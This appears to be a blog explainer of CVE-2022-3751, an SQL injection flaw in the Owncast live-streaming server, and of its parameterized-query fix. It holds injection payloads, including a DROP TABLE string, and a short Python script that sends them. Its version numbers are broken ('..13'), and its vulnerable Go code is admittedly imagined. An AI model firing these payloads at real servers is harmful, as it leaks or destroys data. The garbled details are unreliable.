In September 2022, a critical vulnerability (CVE-2022-3751) was reported in the Owncast open-source live streaming platform. If you’re unfamiliar, Owncast is a self-hosted alternative to services like Twitch, allowing anyone to stream video from their own server. Versions prior to ..13 were affected by a SQL Injection bug, opening a dangerous door for attackers. In this post, we’ll walk through what went wrong, show example code, and demonstrate how an attacker could leverage it.

What Is SQL Injection?

SQL Injection is a decades-old web security flaw. Simply put, if an app "blindly" stuffs user data directly into a database query, an attacker can sneak in malicious SQL code. This can lead to data leaks, data corruption, or even full system compromise.

The Vulnerability in Owncast

CVE-2022-3751 lives inside the owncast/owncast git repository before version ..13.

Where Is the Problem?

The vulnerability lies in the way Owncast handles API input parameters for endpoints that interact with its SQLite database. Instead of using parameterized queries, it embedded user-controlled data directly into SQL statements.

Example Code Snippet (Vulnerable)

Imagine Owncast has an endpoint like /api/messages, processing user submissions. Inside their handler, they may have something like:

// Example in Go (simplified from original source)
userInput := request.URL.Query().Get("username") // Unsafe: comes from the user

query := fmt.Sprintf("SELECT * FROM chat_messages WHERE username = '%s'", userInput)
rows, err := db.Query(query)

If the attacker sends a request like

GET /api/messages?username=' OR 1=1; --

The query becomes

SELECT * FROM chat_messages WHERE username = '' OR 1=1; --'


Now, 1=1 is always true, so this query returns all messages, ignoring any username check. With enough creativity, an attacker could do much more—and even modify the database!

By sending crafted input

GET /api/messages?username='; DROP TABLE chat_messages; --


This could issue a DROP TABLE command, wiping out all messages.

Want to see more? Let’s look at a practical example...

Below is a Python script using the requests library to test for the vulnerability

import requests

url = "http://your-owncast-server/api/messages";
payload = "' OR 1=1; --"
params = {"username": payload}

response = requests.get(url, params=params)
print(response.text)

If the server is vulnerable, it will return all messages regardless of the username. A more harmful payload could attempt to delete data or leak extra info.

Fix: Use Prepared Statements

The fix released in Owncast v..13 applies parameterized queries, so user input is always treated as plain data, not code.

Secure code looks like this

stmt, err := db.Prepare("SELECT * FROM chat_messages WHERE username = ?")
if err != nil {
    // handle error
}
rows, err := stmt.Query(userInput)

Now, no matter what malicious string comes in, it’s not run as a SQL command.

References and Further Reading

- Original Advisory
- Owncast Security Release ..13
- OWASP SQL Injection Cheat Sheet
- Mitre CVE Record

Summary

CVE-2022-3751 is a critical reminder: treat all user input as hostile! If you run Owncast before version ..13, update immediately. If you develop your own apps, always use parameterized queries for any database interaction—never trust the input.

Stay safe and keep software up to date!

*(If you found this breakdown useful, let me know or share with your team!)*

Timeline

Published on: 11/29/2022 21:15:00 UTC
Last modified on: 12/01/2022 20:48:00 UTC